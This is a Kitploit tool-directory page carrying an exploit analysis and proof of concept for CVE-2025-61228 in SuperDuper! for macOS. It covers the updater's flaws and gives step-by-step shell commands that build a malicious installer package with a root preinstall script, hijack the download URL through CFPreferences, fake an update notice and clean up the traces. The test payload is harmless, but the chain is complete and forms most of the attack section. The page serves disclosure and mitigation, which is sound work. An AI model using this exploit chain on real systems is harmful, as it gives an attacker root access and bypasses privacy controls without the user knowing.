Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-61228 | Kitploit
Tools/GitHubGitHub/graypixel2121/cve-2025-61228
Privilege EscalationVulnerability AnalysisExploitationMalware AnalysisPapers & ResearchLearning & Education
GitHubgraypixel2121/cve-2025-61228

CVE-2025-61228

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-61228

Alert

This issue appears to be worse than the developer suggests, so I don't want this part to be lost in the weeds. The developer noted on their blog:

This can only happen if a program running on your system is looking for SuperDuper to perform an update, a real update is presented through legitimate means, and you click Upgrade.

This is not actually true, exploiting this vulnerability does not require a real update to be presented through legitimate means. Never, ever accept an update provided by SuperDuper 3.10 and older! I explain this in more detail below.

It's also important to understand that this vulnerability is not limited to privilege escalation, rather it also involves a subversion of privacy controls. That detail seems to have been omitted from the developer's blog post.

Description

From the developer's blog:

Our auto-update mechanism can be hijacked and convinced to install a package that isn't SuperDuper.

Even though we signed and notarized our installer package, Gatekeeper is not checking that notarization when installed by macOS's package installer. As such, the download could be changed, and we'd install that instead. Since the install is being done with escalated privileges, that could allow a malicious 3rd party's program, which you would also have to install, to gain administrator access to your system.

From the CVE:

An issue in Shirt Pocket SuperDuper! V.3.10 and before allows a local attacker to execute arbitrary code via the software update mechanism

Attribution

This author is not the discoverer of the vulnerability, who is identified by the SuperDuper developer as "anonymous security researcher". I claim no credit for discovering this vulnerability, I just took some interest in doing a technical analysis of it.

References

  • SuperDuper Security Update v3.11
  • CVE-2025-61228

CVSS 3.1 Score: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Mitigation

To avoid this vulnerability, either delete the SuperDuper! application, or apply the 3.11 update.

Warning: You must download the update directly from the developer's website to avoid this vulnerability.

Disclaimer

This exploit analysis and proof of concept is provided for educational purposes only. Use it at your own risk.

High-level summary

Rather than implementing an open source software update solution that has been tested by hundreds of developers and security professionals, the SuperDuper developers created their own software update mechanism built atop insecure shell scripts that run with root privileges and have full disk access. By failing to authenticate the software that is getting installed during the update, SuperDuper is duped into installing an attacker's software. The developer's fix addresses only the authentication aspect of this vulnerability, it does not address the inherent vulnerabilities that result from using shell scripts to facilitate the update process.

Analysis: Duping the 'Duper

The developer's "Gatekeeper is not checking that notarization" comment is misleading. GateKeeper comes into play when you attempt to open something that was downloaded in a browser, but that is not applicable in an application's internal software update mechanism. It is 100% the developer's responsibility to validate anything that their software downloads and installs onto your computer – don't let this developer fool you into believing this is a failure of GateKeeper. Getting to the heart of the exploit, an attacker can dupe SuperDuper into installing an alternate package, and that happens with escalated privileges. Presumably it would also run with full disk access too, because SuperDuper requires full disk access to do anything at all.

The developer's blog also states:

This can only happen if a program running on your system is looking for SuperDuper to perform an update, a real update is presented through legitimate means, and you click Upgrade.

With that comment, I assumed that it would probably not be possible to reproduce this exploit because it should involve server-side changes to the update mechanism which would have been made alongside the post of the 3.11 patch. In other words, in order to prevent older versions of the software from being affected by this vulnerability, surely they have disabled the update mechanism, right? Well... I downloaded an older version of SuperDuper, and when I opened it, I was immediately greeted with an update notification† – one click away from potential exploit. I found this to be very intriguing – how will anyone using an older version of the application be protected from this vulnerability if the auto-update mechanism is not disabled? (this is related to the "alert" I mentioned at the top of this article, I'll revisit this question at the end)

† Kind of... The result was actually very awkward. There was no description of the update nor security advisory, the window was just blank with a Skip and Update button. So older users are not only not protected from the exploit by having the update mechanism disabled, but they are also not informed of the problem via the update mechanism.

I forged ahead. When you apply the upgrade, the backend mechanics are helpfully logged to the SuperDuper log, so we'll start there to see how it works:

root@kitploit:~
 Transcript  : UpgradeTranscript.plist
 Ext Logging : Disabled
 PHASE: 1. Upgrade Application
 ...ACTION: Downloading upgrade package
 ......COMMAND => Downloading update package...
 ......COMMAND => Preparing update package
 ...ACTION: Installing upgrade package
 ......COMMAND => Preserving SDAgent owner and mode bits
 ......COMMAND => Installing upgrade package
 installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350

Many Mac apps that live outside of the Mac App Store use the open source Sparkle framework to (securely) manage software updates. Not SuperDuper. We can see here that they created their own, and this is a great example of why that's often a bad choice. Software upgrade mechanisms are prime targets for exploits, so they require a lot of time and expertise to keep them secure. "UpgradeTranscript.plist" is a reference to a file inside of the SuperDuper application which spells out a series of Terminal commands that SuperDuper uses to download and apply the update:

root@kitploit:~
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL

cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;

/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&amp;1 2>&amp;1;

if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi

/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi

I see at least four problems with these commands and procedure:

  1. superduper.tar.gz gets downloaded, but its authenticity is never verified.
  2. The archive is then unarchived, but there is a potentially-exploitable race condition in here after the superduper_install folder is created where we could swap in an alternate package.
  3. The unarchived "SuperDuper!.pkg" package is also not checksummed.
  4. The developer calls the installer command with the "-allow" flag ("Allow install of a package signed by an untrusted (or expired) certificate"), practically begging for someone to exploit any of these weaknesses.

Package installers can run shell scripts, so I'm going to assume that this is the attack vector of choice for the alternate installer package. Let's start by building a package that runs a preinstall script, then see how to interject it into the update mechanism.

root@kitploit:~
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg

# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to 
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall

# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg

# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg

Brief sidebar to see what kind of access this exploit gives to the attacker – if you run the shell script (assuming the Terminal does not have Full Disk Access or access to "Files and Folders") manually you'll get two errors:

root@kitploit:~
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted

An attacker can do a lot of damage with root access, but with privacy access too, they can access a broader range of content within your home folder (Desktop may seem trivial, but a lot of private data is stored in the hidden Library folder). This exploit gives them both.

OK, building the package was the easy part. How do we break into the update mechanism? Exploiting the race condition was an obvious candidate, but I wondered if it might be possible to intervene at this part of the procedure:

root@kitploit:~
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL

The host and download URL variables are obviously coming from outside of the script. Can they be manipulated? Apps that use the Sparkle software update mechanism will often store a "software update check" URL in CFPreferences, so I wondered if SuperDuper might do the same. Sure enough, but worse – rather than storing just a URL for checking for updates, SuperDuper places the actual download URL in CFPreferences:

root@kitploit:~
defaults read com.blacey.SuperDuper
...
    UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
    UMfailureCount = 0;
    UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
    UMpublicVersion = "137.7";

I attempted to override the URL with a local filesystem URL:

root@kitploit:~
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"

I reopened SuperDuper and clicked Update, but the update proceeded to install the developer's update, not my alternate package. Of course – when SuperDuper saw the update again on launch, it rewrote the defaults value. I tried again setting the value after SuperDuper presented the update, this time it worked! Well, the update installation actually failed, but the attack worked – the /Library/test file was created.

I deleted the test file and repeated the test to verify that it really was working. I also confirmed that the private_data file on the Desktop now had the folder listing of the Desktop – the script ran with Full Disk Access.

I could have stopped here, but the error log showed that the install failed because SuperDuper couldn't be found:

root@kitploit:~
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'

Revisiting the logic of the UpgradeTranscript.plist shell scripts, I realized that the installer might actually succeed if I just copy the SuperDuper application into the alternate package (ditto is spewing that error because /tmp/superduper_install/SuperDuper!.app doesn't exist). This turned out to be harder than it should be, SuperDuper was always crashing during the installation. It was a lot easier to just have the preinstall script copy the app to the expected location at runtime:

root@kitploit:~
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg

cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall

pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg

[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"

Now SuperDuper installed the fake package, and it appeared to install successfully. SuperDuper relaunched itself and presented the update again, which is expected because it just reinstalled the copy of the old version we made to the tmp folder. The lack of an error message is probably enough to fool the average user into believing that there is nothing really wrong, and they will just click the Upgrade button again, this time installing the real package from the developer's site. Meanwhile, the exploit has already been activated and the user just shrugs it off, "gee, that was a little weird, but it's working now."

There is still a logistical problem here that would make this attack difficult to pull off: the attacker would have to run that "defaults" command after the update is presented to the user, and before the user clicks the Upgrade button. It's certainly doable, you could just run that "defaults write" command on an infinite repeat in the background, but that would draw attention. At first I thought I could lock the preferences file to get around this:

root@kitploit:~
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]

But that didn't work. Thinking about how preferences work, that made sense. Applications don't open those files and read the values every time they need to fetch a setting, rather they ask the "CFPreferences" interface for the value. If SuperDuper changes the value for UMdownloadURL, CFPreferences will retain the change in memory even if the physical file is unaltered. When SuperDuper later asks for the value of that setting, CFPreferences will get it from cache (and the cache gets updated if changes are made to the physical files).

At this point something was really nagging at me – why would the developer bother writing the download URL to CFPreferences? Surely you're only going to write those values to CFPreferences if you also plan on reading them from CFPreferences, right? But why not just store the value in a variable in memory somewhere? There are two huge problems with using CFPreferences in this manner that every seasoned Mac developer should know:

  • CFPrefences values can be manipulated from outside of your application (which I've already proven), but worse
  • CFPreference domains have a hierarchical structure, so it's possible for someone to apply a setting outside of your preferences domain that supercedes your own setting.

To test my theory, I wrote the preference to the "currentHost" domain, which supercedes the application domain:

root@kitploit:~
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"

Then I relaunched SuperDuper and clicked Upgrade – the alternate package was installed. Stunning. This makes the exploit so much easier to pull off, an attacker could just lay down that preference setting and wait indefinitely for an update to be posted. But wait, if SuperDuper fetches the download URL value from preferences, might it also fetch the version number? Could an attacker basically induce an update and dupe SuperDuper into presenting it, even though the developer has not posted one? Amazing, yes! Putting it all together, an attacker could execute these commands to get an older (unpatched) version of SuperDuper! to present a fake update, install an alternate package, meanwhile having SuperDuper remove all traces of the attack:

root@kitploit:~
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg

cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall

pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"

printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'

When SuperDuper reloads after installing the alternate package, the update is no longer presented and the user carries on believing they have installed the new version, none the wiser that the exploit has been activated.

Harkening back to the beginning of this article, I wondered, "how will anyone using an older version of the application be protected from this vulnerability if the auto-update mechanism is not disabled?" As it turns out, it doesn't matter if the developer disables the auto-update mechanism – this vulnerability can be exploited without (or in spite of) any server-side changes, and it doesn't even require the developer to post a "real" update. The only mitigation is for users to always reject an automatic update until they have manually updated to a patched version of the product.

Download Tool